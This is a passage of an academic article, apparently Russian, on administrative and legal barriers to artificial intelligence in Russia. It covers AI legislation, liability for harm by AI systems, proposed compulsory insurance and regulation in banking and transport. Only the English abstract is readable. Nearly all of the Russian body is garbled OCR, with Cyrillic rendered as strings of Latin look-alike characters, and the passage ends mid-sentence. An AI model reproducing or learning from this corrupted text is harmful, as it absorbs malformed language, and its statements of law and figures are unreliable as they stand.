KOPITOPATUBHOM KYIBTYPHI.
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Ounenka coCTOSHHS NMPABOBOI0 PeryJIHpPOBAHUSA UCKYCCTBEHHOI0 HHTEJIEKTA B LEJIAX
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AHHOTALUSA

B nmanHO#l cTarhe aHAMM3MPYIOTCS aIMHHUCTPAaTHBHBIE M MPABOBbIE Oapbepsl,
MIPETATCTBYIONINE PA3BUTHUIO TEXHOJIOTMH MCKYCCTBEHHOTO HMHTeIUieKTa B Poccun. ABTOpBI
UCCIIEYIOT TIPOOJIEMBI IIPABOBOTO PETYIMPOBAHMUS CEIOK, coBepmaeMbix M, HeoOXoaumMocTh
YCTaHOBJICHHUS MIPABOBOT'0 cTaTyca [U(pPOBOro NpopuiIst rpakaaH U IOPUIMUYECKUX JIULL, a TAKXKe
BOIIPOCBI ~ OTBETCTBEHHOCTHM 3a  Bpen, npuuuHeHHbll MHM-cuctemamu. B cratee
paccMarpuBaroTCsi NpoOieMbl B cdepe TIpakIaHCKOro, MHTEUIEKTYaJbHOTO IpaBa H
3aKOHO/ATENIbCTBA O 3allUTE MEPCOHATIBbHBIX JaHHbIX. [Ipe/uiaratorcsi KOHKpETHbIE MEphI 10
COBEpILICHCTBOBAHHIO 3aKOHO/ATEIbCTBA, BKIIIOUas BBECHHUE 00s13aTeNIbHOroO crpaxoBanus UI-
CHCTEM, CO37aHHE pe3epBHOrO (GoHAa Uil KOMIIEHCAIlMM YyIepOa, a TakkKe YCHUIICHHE
OTBETCTBEHHOCTH 3a CO3JJaHHE U HCIOIb30BaHue Hebe3zonacHbIx MM-cuctem. Ocoboe BHMMaHKE
YIENseTcs] CTUMYJIMPOBAHUIO BHEOIOJDKETHOTO (prHaHCHpoBaHHA TNpoekToB B chepe MU u
CO3/IaHUIO CHUCTEMBI MOJIEPKKH MaJIoro Ou3Heca.

KiroueBble cil0Ba: UCKYCCTBEHHBIM  MHTEIUIEKT, IIPAaBOBOE  PErYJIHPOBaHUE,
aJIMUHUCTPATHBHBINA Oapbep, MpeANpUHIMAaTEIbCKasi U OAHKOBCKAsl AE€ATEIbHOCTb.

Abstract

This article analyzes the administrative and legal barriers that hinder the development of
artificial intelligence technologies in Russia. The authors explore the problems of legal
regulation of transactions made by Al, the need to establish the legal status of the digital profile
of citizens and legal entities, as well as issues of liability for harm caused by Al systems. The
article discusses problems in the field of civil, intellectual property law and legislation on
personal data protection. Specific measures are proposed to improve legislation, including the



JIlendenyuu pazeumus Hayku u obpasosanus -37-

introduction of compulsory insurance of Al systems, the creation of a reserve fund to
compensate for damage, as well as increased responsibility for the creation and use of unsafe Al
systems. Special attention is paid to stimulating extra-budgetary financing of Al projects and the
creation of a small business support system.

Keywords: artificial intelligence, legal regulation, administrative barrier, entrepreneurial
and banking activities.

K 2025 romy, mo oleHKaM »3KCIEPTOB, BHEAPEHHUE TEXHOJIOTUH HMCKYCCTBEHHOIO
nnTemiekTa (M) mogauMeT MUPOBYIO SKOHOMHKY OoJiee yeM Ha TpuutioH aosuiapoB CIIA, a
rnobanbHelii peiHOK MW mocturaer 500 MumumapAoB JOJUIApOB, 3HAYMTENFHO TPEBHICHB
nokazarenb 2021 roxa B 327,5 MuIMapI0B. ITO BIEYATIISIONIEE YCKOPEHHUE PA3BUTHS 3aTPOHET
MHOYKECTBO IIPaBOBBIX 001aCTE.

B uactHoctn, UM yxe aKTUBHO NpPUMEHSETCS B 3ApPaBOOXPAHEHHM (IMArHOCTHKA,
TeNIEMEMIIHA), TPaHCTIOpTe (OECIMIIOTHBIE aBTO, IPOHBI), OAHKOBCKOM CEKTOpEe (KpeAMTHBIH
CKOPHUHT), PEKPYTHHI€ M HEIBM)KUMOCTHU (TIpoBepka OsaroHaaexHoctH). IIpu 3ToM vacTHBIN
CEKTOp HE TOJIBKO y4acTBYET B pa3palOTKe, HO U SIBJISIETCS OCHOBHBIM JIBUIaTEJIEM BHEIPEHUS
NH-TexHonorum.

Jlunepom NU-Tpanchopmanuu BbicTynaeT OaHKOBCKas cdepa. B kauectBe mpumepa
MoxHO npuBectH CoepOank, 3amyctuBiuuil B 2019 rony yar-6ota Ha ocHoBe NLP (0OpaboTka
€CTECTBEHHOIO $3bIKa), Ul YIy4llIeHHs OOCITY)KHBaHHsI KIMEHTOB U 3aKIIOUEHHs CHEJIOK
onnaiH. Kpome Toro, WM wucnomedyercs sl  NpEeNOTBpallCHUs HEIJIATEXEH U
MIPOTHO3UPOBAaHUS OAaHKPOTCTB.

Tem He MeHee, MHOTME KOMIIAaHMM Bce eme otHocsaTea K MM ¢ ocTOopo:KHOCTBIO,
oracasicb IPaBOBOM HEONPENEICHHOCTH B3aUMOJAEUCTBHS C KIMEHTAMM B  YCIOBHAX
aBTOMATH3MPOBaHHOTO oOciyxuBaHus. B Poccum, xak M B JApyrux cCTpaHax, Ha IyTH
s dextuBHOrO BHenpeHus: MU crost aqMuHuUCTpaTUBHBIE Oapbepbl — U30BITOYHBIE MTPOLETYPHI
U TpaBwia, TpeOyrolMe IUIaTHBIX YCIYr Il WX TPOXOXKICHUS. OTU TMPEnsTCTBUS,
TPaJULIMOHHBIE Ui TPEANPUHUMATENBCKON JESTeIbHOCTH, TOPMO3SIT TEXHOJOTMYECKHUMA
nporpecc M SKOHOMHUYECKMH pocT. Takum 00pa3oMm, HEOOXOIUMOCTb COBEPILEHCTBOBAHMUS
3aKoHo/1aTeNbeTBa B oOactu MU odeBuaHa 1y1st obecriedeHns Kak ero 3pGeKTHBHOTO Pa3BUTHS,
TaK ¥ 3alUTHI IPaB NOTpeOUTEEH.

VYxe B 2010 romy IIpaButrensctBO P® KOHCTaTHpOBajmo, YTO YpPE3MEpHBIE H
HEOOOCHOBAaHHBIE aIMUHUCTPATUBHbBIE Oapbephl HE TOJIBKO CIEPAKHUBAIOT BBIXO] HOBBIX UTPOKOB
Ha DPBHIHOK, YBEIWYMBAas W3JIMIIHUE W3AEPKKM OM3HECA, HO W MOJIMTBHIBAIOT KOPPYILHUIO,
MIPEJOCTABISASl YMHOBHUKAM BO3MOXKHOCTU JJIsl 3JI0YHNOTpEOJIEHHH. DTO, B CBOIO OYEpEnb,
HETaTHBHO CKa3bIBACTCS HA PA3BUTHH NPEATIPUHUMATEILCTBA B CTPAHE.

Jns pemienus 3Toi mpoOsieMbl B MOCTETHUE TO/BI MPEANPUHIMAINCH AKTUBHBIC LIarH
mo ¢GOPMUPOBAHUIO HOBOW TpaBOBOM 0a3bl it perymupoBanus WU, myrem BHeceHUs
U3MEHEHUH B pa3IM4HbE OTpAciAM 3aKOHOJAATenbcTBAa. (OJHAKO, HACTA0O BPEMS OLICHUTh
3(Q(PEKTUBHOCTD YK€ MNPUHATBIX Mep, 4TOOBI CKOPPEKTUPOBATH JalbHEHINNE AEHCTBUS 10
COBEpIICHCTBOBAaHMIO TpaBoBoro mosst aiusi MM u ycTpaHeHMIo W3OBITOYHBIX Oapbepos,
TOPMO3SIILIUX pa3BUTHE OU3HECA.

AHanu3 TEKYIIEro COCTOSIHMA IPAaBOBOI'O PETYIUPOBAHUS HCKYCCTBEHHOTI'O MHTEIIEKTA

JIroboli BCECTOPOHHHMI aHaNMM3 MPaBOBOrO peryaupoBaHus MM HempeMeHHO IOJIKEeH
HAYMHATBCS C M3YYCHHMS JICHCTBYIOUIMX HOPMATHUBHBIX aKTOB. IIpM 3TOM OCOOEHHO BaskKHO
BBIIBUTH M IPOAHAIM3UPOBATh BCE MMEIOIUECS U3IAIIHNAE aIMUHACTPATUBHBIE OTPAHNYECHHUSL.

B 2020 romy IlpaButensctBo P® yrBepauno mnepByro B crTpaHe Konuenuuro
perynupoBanust TexHoioruii MW u  poOOTOTEXHUKH, 3aJI0KUBILYIO OCHOBBI IIPABOBOIO
PETYIIMPOBAHUS U OTIPEISITUBITYI0 OCHOBHBIE IIETIH B 3TOH cdepe.

[TapannensHo ¢ 3TUM, HalMOHAIBHASA IMpOrpamMma LU(GPOBOM SKOHOMHMKH MOTYydMsIa
MOIIHBIA UMITyJIbC Onaromaps QenepambHOMy MpoekTy «VICKYyCCTBEHHBI HWHTEICKT». DTOT
MIPOEKT, 00ECTIEYeHHBIN 3HAUUTENFHBIM (PUHAHCHpOBaHUeEM (24,3 mupa pyorei u3 Oromkera u
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6,9 mipa pyOsieli u3 BHEOIOKETHBIX MCTOYHHMKOB Ha miepuoa 2021-2024 rr.), HampaBieH HE
TOJIBKO HAa CO3JAHUE W BHEApPEHHE oTedecTBEHHbIX MI-pemieHuii, HO U Ha CyLIECTBEHHOE
noBbIieHNe 3()(eKTUBHOCTH pabOThl pa3NUUHBIX oTpacied. TakuMm oOpa3oM, rocyaapcTBo
aKTMBHO CTUMYJIHMpyeT pa3Butue M, HO ycrenmHocTs 3TOM cTpaTernu HarnpsMylO 3aBUCHUT OT
3¢ (HEeKTUBHOCTH 1 Ka4eCTBa MPABOBOTO PETYJINPOBAHUS.

Ilo pmanHpM MuHdKOHOMpa3BUTHS PoOcCcumM, OTBETCTBEHHOIO 3a  peaM3alMI0
denepanbHbIX  1poekToB  «HopmaTuBHOE — perynupoBaHue — IM(poBOH  cpeab» U
«HIcKyCCTBEHHBIN HHTEIIEKTY, K Havamy 2022 roia ObUT JOCTUTHYT CYIIECTBEHHBIN MPOrpece B
CO3/IaHUU THOKOW TPAaBOBOM 0a3bl ISl IU(PPOBBIX TEXHOJIOTHHA. DTO TIOBUTHBHO OTPA3HUIIOCh HA
3P PEKTUBHOCTH MPEATTPUHIMATEIBCKOM AEATETBHOCTH.

B wactHOCTH, OBITO TIpHHATO 26 (PemepambHBIX 3aKOHOB, 3aTPAruBaAIONIUX JIEKTPOHHBIC
cnenku, H/IC Ha aneKkTpoHHBIE yCIyrH, KpayAdaHIuHT, SIEKTPOHHYIO MOJINCH, TOCYCIyTH B
ANIEKTPOHHOM  Buze, 3D-mozaenupoBaHue, KPUIITOBATIOTHI, PETYJIATOPHBIE TECOYHMIIBI,
CTaHJIAPTH3ALMIO JAHHBIX, OMOMETPUYECKYIO HICHTU(HKALNIO U MHOTOe Apyroe. Kpome Toro,
YTBEP>KICHBI JIBa BAXKHBIX JTOKYMEHTA U MOJIMCAaHO BOCEMb HOPMATUBHBIX aKTOB, KaCAIOIIUXCS,
Hampumep, KUOep(U3MUECKHX  CHUCTEM, JIOCY[eOHOrO  yperylMpoBaHUs — CIIOPOB U
MalIMHOYMTAEMOro mpasa. Em€ mecTh 3aKOHOMPOEKTOB HAXOAATCS Ha Pa3HBIX CTaIUsIX
pacemotpenust (ITpaBurensctBo PD u [N'ocymapctBenHas [lyma). DT HHUIIMATUBBI OXBATHIBAIOT
TaKue aKTyallbHble BOIPOCHL, KaK MMyOJIMYHBI CEpPBUTYT, YHUMUIIMPOBAHHBIA IOCTYH K
TrOCUMYILIECTBY, IEPCOHAIbHBIE JAHHBIE M OHJIAWH-Pa3peLIeHUE CIIOPOB.

3akoHoAaTeNnbHbIN oaxoa K MM neMoHCTprpyeT B3BEIIEHHYIO CTPATEruio rocyaapcTBa,
OCHOBaHHYIO Ha [TOCTENIEHHOM, OCTOPO>KHOM BHEJIPEHUH.

®3 Ne 123-®3 ot 24.04.2020, 3amyCTUBIIMN 3KCIEPUMEHT 10 perynupoBannio MU B
MockBe, cTan MNEpBbIM IIArOM B 3TOM HAIPaBICHUU. ODTOT 3aKOH, KpOME Mpouero, aal
JIETAJIbHOE OTPEJIENIEHNE «HCKYCCTBEHHOTO MHTEIUIeKTay. OHAKO, 3aKOHOAATENILCTBO MOKa HE
OXBATbIBAET Ba)KHBIC aCIEKThl 3THYECKOr0 U MPaBOBOro B3auMojeicTBus uenoBeka u NN, uro
MOTEHIIMAIBHO CO3JaeT COIMAaIbHbIC PUCKU. 3aKOHOAATENH, MO BCEH BUAMMOCTH, UCXOIAT U3
NpUHIUIA JOOPOBOJBHOCTH yd4acTHs, 3akperiéHHoro B crathe 21 Koncturymmm PO,
paccMaTpuBasi TOT SKCIIEPUMEHT KaK Ba)KHBIA UICTOUHUK MPAKTUYECKOTO OTBITA.

Amnanu3 3akona Ne 123-@3 noka3bIBaeT, 4TO OH, 32 UCKIIIOYEHUEM MOPS/IKA IOTYUYEHUS U
JUIIEHHS CTaTyca YYaCTHUKA HKCTIIEPUMEHTA, (DAaKTUUECKU HE OMpeensieT mpaBa U 00s13aHHOCTH
yuacTHUKOB. bonee Ttoro, perymupoBanue wucnonb3oBanus WI-texHomoruii Bo MHOrom
NPEeIOCTaBICHO Ha yCMOTpeHHe cyOwbekra ¢enepauuu (Mocksa), mpeBpaias 3TOT 3aKOH B
CBOET0 pojla PAMOUYHBIN TOKYMEHT. JTa HEOIPEEIEHHOCTh CO3JIa€T CYIIECTBEHHbIE PUCKU.

Cpenu Haunbosee OCTpBIX MPOOIEM — PUCKHU, CBA3aHHBIE C TEXHOJOTHSAMHU CICKEHUS U
pacnio3HaBanusi Jmil. OHH TPENCTaBISIIOT COOOM OMWH W3 TJABHBIX TMPETSITCTBUMA IS
s dexTuBHOrO QyHKIMOHUpOoBaHUs 3akoHa Ne 123-d3. B cBsizu ¢ 3TUM, 3aKOHOMPOEKT No
950900-7, BHecénnbii B ['ocaymy B 2020 romy, mpeaiararoiiii MOpaToprii Ha NMPUMEHEHHE
cratbu 7 a0 2025 roga, 3aciy’KMBAaeT MPHUCTAIBHOIO BHHUMaHUS. JTOT MOpPATOpUM JacT
pa3paboTunkam (BKJIIOYasi MHOTHX MpeANpUHUMATENEH) BpeMs sl aIeKBaTHOTO TECTHPOBAHUS
n otnanku MM-cucrem, MUHUMU3UPYST PUCKH HETIPABOMEPHOIO MCIIOJIBb30BAaHUS NIEPCOHAIBHBIX
naHHbIX. OTCpoYKa MO3BOJIUT, K TOMY K€, CHU3UTh aIMUHUCTPATUBHbIE Oapbepbl, CBA3aHHbBIE C
OTBETCTBEHHOCTBIO 32 BO3MOXKHBIE HAPYILEHHS B XOJI€ KCIIEPUMEHTA.

Hpyroii BayXHBI HOPMATUBHBIN aKT B 1aHHOU cepe — Denepanbhblii 3akoH Ne 258-D3
ot 31.07.2020 «O0 3KcriepUMEHTAIBHBIX MPABOBBIX PEXUMax B cepe HU(pPOBBIX HHHOBALHII.
Ero naelicTBEHHOCT HANpPsIMYIO 3aBHCUT OT YCHEIIHOI'O BHEAPEHUS «PETYIATOPHBIX MECOUHUID)
JUISl ”YHHOBALIMOHHBIX TEXHOJIOTUH.

B wurore, Tekymee coctosHue mpaBoBoro peryiaupoBanuss MW B Poccum
XapaKTepu3yeTcsi OTCYTCTBUEM 0a30BOro (QenepaqbHOro 3aKOHA, YCTAaHABJIMBAIOILETO OOIHe
npaBuwia. Mpl cuMTaeMm, 4YTO MPEIOCTaBIEHHME BO3MOXKHOCTH CaMOCTOSITETIHHOTO MPaBOBOIO
perynupoBanust U B oTenbHBIX cepax MOMOXKET MPEO0IeTh MHOTHE aJMUHUCTPATUBHBIE U
npaBoBble Oapbephl. Cornamnasch ¢ MO3ULKEH MPaBUTENbCTBA, Mbl TI0JaraeM, 4T0 HET HYXKIbI
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ompenensath mnoHsaTHe WU s kaxmgoi cdepsl B OTACIBHOM  OTPacieBOM  3aKOHE.
CKOHLICHTPUPOBAB OCHOBHBIE HOPMBI B OJJTHOM JIOKYMEHTE, MOXHO H30€XaTh M30BITOYHOTO U
MIPOTUBOPEUYHBOTrO HOPMOTBOPUECTBA.

B Poccun yxe npeanprHuMaroTcs MPakKTUYECKHE 1Iark Mo MpaBOBOMY PETYIMPOBAHUIO
NN. Tak, B 2022 romy Obumi pazpaboTaHbl 3aKOHOMPOEKTHI 00 wucmonb3oBanuun WU B
3paBOOXpAaHEHHMH M TPAaHCHOpTe (BKIOYas aBTOHOMHoe cyaoBoxieHue). B Tocayme
paccMaTpuBaeTCs 3aKOHOIPOEKT O POOOTOTEXHHKE, MPEJIararoliuil KIacCU(PUKAIN0 poOOTOB
Ha TpakIaHCKue (TPOMBIIIJICHHOCTh, MEIUIMHA, 00pa30BaHue, HayKa) U CIy)XKeOHbIe (BOCHHAs
Y TIPAaBOOXPaHUTENIbHAS CEephI).

Vkazom Ilpesunenra PO Ne 83 or 02.03.2022 ObUIM HNPHUHATHI MEPHI 110 YCKOPEHMIO
pazButust UT-otpaciu. IlpaBuUTensCTBO, Clieysl 3TOMY YKa3y, MPEIOCTaBUIO OTCPOUYKY OT
apmun  UT-cnenmamuctam.  AxkkpenuroBaHHble WT-kOMmaHuyM  NONMy4YMIM — HaJOrOBBIE
npedepeHIy, a mpoleaypa MPUBICYEHUS WHOCTPAHHBIX CHELMAIMCTOB YINPOCTHIACh. Jlis
OOBEKTHBHOW OIEHKH S(PPEKTUBHOCTH MPUHATHIX MEp IO CHUKEHUIO aJMHUHHUCTPATUBHBIX
0apbepoB HEOOXOIUMO pa3paboTaTh CIHEIHAIbHYI0 METOAMKY OLIEHKU W YCTAaHOBUTH UYETKUE
KPUTEPHH.

[TyTH coBepiieHCTBOBaHMS 3aKOHOATENLCTBA B o0sactu MU

[IpaBoBoe perymupoBanue MU TpeGyeT KOppeKTUPOBKH B Pa3IMYHbBIX OTPaACsiX IpaBa,
3aTparuBarolMX MPEeIPUHUMATENBCKYIO IESTEIbHOCTb.

B rpaxnanckom mpagse, K mpuMepy, HeoOXoanMa yHU(DHUKAIKS TOHITHS '"JICKTPOHHBIN
nokymeHT". Ilpennaraercs corsmacoBaTb COOTBETCTBYIOIIUE MOJIOKEHHUA DenepanbHOro 3aKoHa
Ne 149-®3 «O0 unpopmannyu, WHGOPMALMOHHBIX TEXHOJOTUSAX U O 3alllUTe MHPOpMALUN,
@enepanbHoro 3akoHa Ne 63-D3 «O06 snexTpoHHOH noamnucu», 3akoHa PO Ne 4015-1 «O0
OpraHu3alluM CTPAXOBOTO Jena» U cratbu 434 I'pakmanckoro xomekca PD, s obecrneuenus
€IMHOOOPa3HOr0 MPHUMEHEHHUs] 3TOr0 TePMHMHA B Pa3HBIX MPABOOTHOIIECHHUSAX. DTO MOMOXKET
n30exaTh IPaBOBOM HEONPEIEIEHHOCTH U KOJUTU3UH.

Ot1cyTcTBHE B 3aKOHOJATENILCTBE IOJIOKEHUH, JOMYCKAIOMIMX CHENKA 0e3 ydacTus
yenoBeka, TopMo3uT pazButue MW u co3gaér mouBy [Uisi MHOTOYMCIIEHHBIX CIIOPOB O
NEUCTBUTENBHOCTH JOrOBOPOB, 3akimtodeHHbIX HMM-cuctemamu. OTO ofHAa M3 KIIFOYEBBIX
po6JIeM, TPEOYIOIIIX HEMEIJICHHOTO PEIICHHUS.

Taxoke kpaiiHe BaKeH BOIIPOC O MPAaBOBOM cTaTyce "Hu(poBoro mpoduid" rpaxian u
opuandeckux Jmi. 3akoHompoekt Ne 7475137, nopnepxanubii [IpaBuTenscTBOM, HO
OTKJIOHEHHBIN ['ocaymoii B stHBape 2022 rona m3-3a HecooTBETCTBUS KOHCTUTYIIMM, HYXIAAaeTCs
B rmepecMoTpe. HeoOXxoamMo HaWTH KOHCTUTYIIMOHHO-COOTBETCTBYIOIEE pEIICHHUE ATOU
POOJIEMBI.

3aKkOoH O 3alMTe TEPCOHATBHBIX JAHHBIX TpPeOyeT OOHOBJICHHA C Y4ETOM 00BEMA
JTAHHBIX, pa3riamaeMbiX 0e3 COrIacusl BIaJIelblla, a TAKKE METOJI0OB AHOHUMU3AIIUH U TIOPSIKA
MIPEIOCTABIICHHS COTJIacHs Ha 00pabOTKY JIAHHBIX B AJICKTPOHHOM dopmarTe.

[IpaBo WHTEIIEKTYaIbHOH COOCTBEHHOCTH TAaKXKE OCTPO HYKIAeTcs B OOHOBJICHHH.
[TosiBeHrE HOBBIX TIPABOOTHOIICHUH, CBsi3aHHBIX ¢ VU, TpeOyeT aHanm3a pa3muyHbIX MOAXO0I0B
K OIpENeNIeHUI0 aBTOpCKUX mpaB u pomu WU B atoli cdepe. Heobxomumo ompenenuth
MpaBO00IaaTeNs PE3yIbTATOB MHTEIUICKTYAIbHON S TEeNbHOCTH, CO3aHHBIX ¢ noMorbio MU,
a TaKXKe BIAJENbI[a MHTEJUICKTYaJbHBIX MpaB Ha cam WM. B sTomM KoHTekcTe mpobdiema
npaBocyobekTHOCTH MU sIBNISIeTCS IEHTPATbHOM.

ABTOHOMHBIE TPAaHCHIOPTHBIE CPEICTBA yXKE BBIXOAAT HA JIOPOTU OOIIETO TOJIb30BAHUSL.
OkcniepuMeHT, 3anyiieHHblii B 2018 romy (moctanoBienue IlpaBurenbctBa PO Ne 1415),
BKJIIOYaeT B ce0si OKOJIO cTa OECHMIOTHBIX aBTOMOOMIEH «SIHIEKC» M OJMH aBTOMOOWJIb
MAJIW. Boautens B 3TUX MallMHAX WIPAET JMIIL POJb HAOII0gaTeNsl, BMEIIMBASCh TOJIBKO B
HEIUTaTHBIX CHUTyalUUsiX. OTO JIEMOHCTPUPYET CTPEMMTENBHOE pPa3BUTHE OECHMIOTHOIO
TpaHCHopTa.

Jl11 MOBBIIEHUST TPO3PAYHOCTH CHIENIOK C TPAHCIOPTHBIMM CPEACTBAMM IpeasaraeTcs
BHECTH M3MEHEHHSI B 3aKOHOJIATEIbCTBO, BKIIIOUUB B 3JIEKTPOHHBIM MacnopT HHPOpMaLuo 060
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BCEX OOpeMEHEHMsIX. OTO YIPOCTHT IOPUIAMUYECKUE ONepali W O00CCIeYUT OOJIBIIYIO
IIPO3PaYHOCTb.

[losiBnenue "uHTepHeTa Bele" TpeOyeT YTOYHEHUs OIpeNeNieHHs "TpaHCIOPTHOE
cpenctBo" B PenepanbHoM 3akoHe No 443-03 «OO0 opraHuzalMy JIOPOXKHOTO JIBHOKEHHS»,
4qroObl YETKO PEryJIMpoBaTh OIUIATY Ipoe3Ja MO IUIATHBIM JIOpOraM WU YCTaHABIUBATH
OTBETCTBEHHOCTh 32 HEYIUIaTy. DTO BaXXHO I 3((PEKTUBHOrO (YHKIHMOHUPOBAHUS CHCTEM
B3MMaHUsI IUIATHI.

TpaHcriopTHast OTpacib SBJIACTCS JUAECPOM II0 KOMMepueckoMy npumeHeHutro MU, c
OeCIMIOTHBIMU aBTOMOOMIIAIMH, IPOXOASAIIMMH UCTIBITAaHUS B PA3JIMUHBIX PETHOHAX.

B OankoBckoit cdepe mns  addexruBHoro BHempenuss WU HeoOxomumo: 1)
3aKOHOJIATENIBHO 3aKPEMUTh TOHATHE 'SJIEKTPOHHOTO JHUIA"; 2) pasaeNuTh HMYIIECTBO M
otBeTcTBeHHOCTh MM-toHHTOB (ycrmoBHO u30iMpoBaHHBIX 00bekToB WU); 3) LleHTpanbHbii
bank nomkeH pa3paboTaTh HOPMATHUBHBIM JOKYMEHT IO ABTOMATHUYECKOH HICHTU(HKALUH
MOJO3pUTENbHBIX onepaiii ¢ noMomplo MM, ¢ BO3MOXHOCTBIO aBTOMaTHYECKOIO
OJIOKMpOBaHMS WIM Tepelauyd Ha pacCMOTPEHHME COTPYIHMKA; 4) YCTaHOBUTH IIpaBUIIA
ucnonb3oBanud MU juis pacuera KpeOUTHBIX PEUTUHIOB, C 00s3aTENbHBIM PAaCKPbITHEM
QITOPUTMOB KJIMEHTAM M PETYIATOPY. DT MEpbl NMOMOTYT pacmMpurh npumeHenue MW B
(MHAHCOBOM CEKTOpE.

OtBercTBeHHOCTE  3a  neiictBus  MHM-cucrem: KirodeBble  aclEKTHI  [IPABOBOTO
pEryarpoOBaHuUs

OddexrtuBHoe perynuposanue MM tpebGyeT yeTkoro onpeaeneHusi OTBETCTBEHHOCTH 3a
€ro IpUMEHEeHue. XOTS TMOKa TakKuX MpPELEIEHTOB HEMHOIO, YK€ celdyac OuyeBHIHA
HE0OX0IMMOCTb MPABOBOI0 MEXaHHU3Ma.

XapakrepHblii npumep — cMeprenbHoe JTII ¢ yyactueM OecnmioTHOro aBTOMOOWIIS
Uber B CIIIA (2018 rox). Bogurens Obi1 OOBHHEH B XalaTHOCTH, a MPETEH3UU TMPEIbSIBICHBI
kak Uber (Hed(heKTHBHBIC MPOTOKOJBI OE30MACHOCTH), TaK M JACMAPTAMEHTY TpPaHCIIOpTa
Apu30HbI (HEJOCTaTOUYHBIA KOHTPOJIb). VIHTEepecHo, uto Uber OTBETCTBEHHOCTH H30€Xkai, a B
OTHOULICHUWHU BOAMTEIS HA4yaJloCh pacciieloBaHue. OJTOT ciydail AEMOHCTPUPYET BO3MOXKHBIE
MOJXO/IbI K PaCIPEAEICHNI0 OTBETCTBEHHOCTH 32 Bpel, NpuunHeHHbI NH.

[lpennaraercs  BBeCTHM  O0sI3aTENbHOE  CTPAXOBAaHHME  aBTOHOMHBIX  POOOTOB,
MPOU3BOIUMBIX KOMITAHUSIMH, JOMOJIHUB 3TO Pe3epBHBIM (POHAOM Ul KOMIICHCAIMU yuiepoa,
MIPEBBILIAIOIIETO CTPaxoBblE BBILIATBL. JTO O00ECHEYUT TapaHTUXM KOMIIEHCAIlUM Bpena
MOTEPIIEBILNM.

Msbl noanepKuBaeM MHEHHE YYEHBIX O HEOOXOJMMOCTH —aJMUHHCTPAaTUBHON
OTBETCTBEHHOCTH 3a MPOM3BOJICTBO M HCIIOIb30BAaHHE HEKAUYECTBEHHBIX, HEOE30IacHBIX,
HecepTU(UIMPOBAHHBIX WK He3apeructpupoBaHHbix MM-cuctem. BaxkHo Taxoke 3akpenuTh B
VYTO/I0BHOM KOJEKCE OTBETCTBEHHOCTH 3a CO3/laHME M ucnoib3oBanue MW s npuunHeHus
Bpe/ia, a TAKXKE 3a HEMpPaBOMEPHOE BMEIIATENLCTBO B padoty M -cucrem, nopmnekiee Bpea. 1o
obecrnieunt OoJiee cepbe3HOe HaKa3aHUe 32 3JI0HAMEPEHHOE HCTIOIb30BAaHUE.

CrnoxHoctb perynauposanust MU 3axmouaercs B TOM, UTO HE BCE MOTEHUIUAIBHBIE PUCKU
MOT'YT OBITH HpE/ICKa3aHbl HA JAHHOM 3Tale, YTO MOJYEPKHBACT HEOOXOAUMOCTh TMOKOTrO M
alallTUBHOTO 3aKOHO/ATEIILCTBA.

Mepsl 10 yCTPaHEHUIO OTPAHUYCHUN

HecoBepieHCTBO 3aKOHOJATENBCTBA, €1a00 3ALMIIAOIIEro IpaBa pa3pabOTYUKOB U
npaBoobnanareneii MU, u y3koe ToIKOBaHHE ACUCTBYIOIIMX HOPM, 3aTPYAHSIONICE TPUMEHEHNE
UX K CciydasM HapylleHHs HH()OPMAlMOHHON O€30MaCHOCTH M JUCKPEIUTALUH JIEJI0BOM
peryranuy, TpeOyIoT KoppeKTHpoBKU. IIpemnaraercs nonomuute crateio 14.1 ®enepanbHOro
3akoHa «O 3amMTe KOHKYPEHIMW» 3alpeTOM Ha HEI0OPOCOBECTHYIO KOHKYPEHLMIO ITyTEM
JUCKPEIUTALINY.

OTO NO3BOJMT ONEPATUBHO pEarupoBaThb HA PACHPOCTPAHEHHE JIOKHBIX CBEICHUIA,
HaHOCSAIMX yHlepO JenoBOM penyrauuu KommaHuu wiM anroputmy WU, wucnonesys
aJIMUHHMCTPATUBHYIO IPOLEAYPY YEPE3 AHTUMOHOIIOJIBHBIN OPraH.
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OKCIIEpUMEHTAIbHBI  peXUM O00padOTKM MEpPCOHATBHBIX JaHHBIX B  Mockse,
HCKITIOYAIOIINI HEOOXOAMMOCTH cornlacusi cyowekTa (moamn. 9.1 m. 1 cr. 6 dexepanbHOro 3aKoHa
No 152-®3 «O mepcoHalmbHBIX JAHHBIX»), BBI3BIBACT BOMPOCHL. /[l 3amuThl MpaB
paBo00JIaaTeNel 0T HECAHKIIMOHUPOBAHHOTO MCIIOJIb30BaHUS OOJBIINX JAHHBIX, JIEKaIUX B
OCHOBE MAIIMHHOTO OOy4eHUs, Mpe/araeTcs BHECTH M3MEHeHus B crarbio 14.7 3akoHa «O
3alIUTe KOHKYPEHIMWY», BKIIOUMB B HEE YMOMHHAHHE O OOJBIIMX JAaHHBIX, UCIOJIB3YEMbIX B
NN. 310 no3BOIUT UCTIONB30BaTh MEXAHU3MBI 3aLUTHI OT HETOOPOCOBECTHON KOHKYpPEHIIMU B
OTHOIIICHUU OOJBINNX JAHHBIX.

B cdepe meaunmacknx M-npoayKToB OTCYTCTBYIOT JIIOTHBIE YCIOBUS [T MOTYYESHUS
PETUCTPALIMOHHOTO  ylOCTOBepeHUs. [l CTUMYJIUpOBAHUS PAa3BUTUSL  TEJEMEIUIIMHBI,
npeiaraeTcss BHECTH M3MeHeHus: B [IpaBuiia rocygapCTBEHHOW perucTpalvd MEIUIIMHCKHUX
m3nenmid (moctanoBinenue IlpaButensctBa PO ot 27.12.2012 Ne 1416), co3maB cnenyaaibHbINA
PEXUM IS IPOrpaMMHOro odecrieueHus, ucnomnp3yomero M. 3to ynpoctuT perucrpauuo u
CTUMYJUPYET pa3padOTKH B JAHHOU 001aCTH.

BriBox

CuctemMHBIA TIOIXOJ K BBIIBICHHUIO M YCTPAHEHHUIO aJMHHUCTPATUBHBIX OaphepoB B
cpepe MU — nHeobxoaumocTh. st 3TOro mpemiaraercs co3laTh €IWHBIN TrocyJapCTBEHHbIN
peecTp CHUCTeM MHCKYCCTBEHHOTO WHTEJUIEKTa, OOECNeunBaIOMUi yU4€T U PErucTparuio
pE3yJTATOB MHTEJUICKTYAIBHON JESTEIbHOCTA B 3TOW 00JacTH. DTO TO3BOJUT YIOPSI0YUTH
PBIHOK ¥ CTUMYJIUPOBATh MHHOBAIUH.

Ycnemnas peanu3zanus denepaabHOro npoekTa "MCKyCcCTBEHHBIN MHTEIDICKT' B paMKax
HAIMOHATBHOM mporpammbl  "Lludposast skoHOMHKA" TpeOyeT YBEIMYCHUS YACTHBIX
uHBectuimid. Ceiluac cooTHOILIEHHE OIOKETHOIO M BHEOIO/DKETHOro (PUHAHCHPOBAHHUS
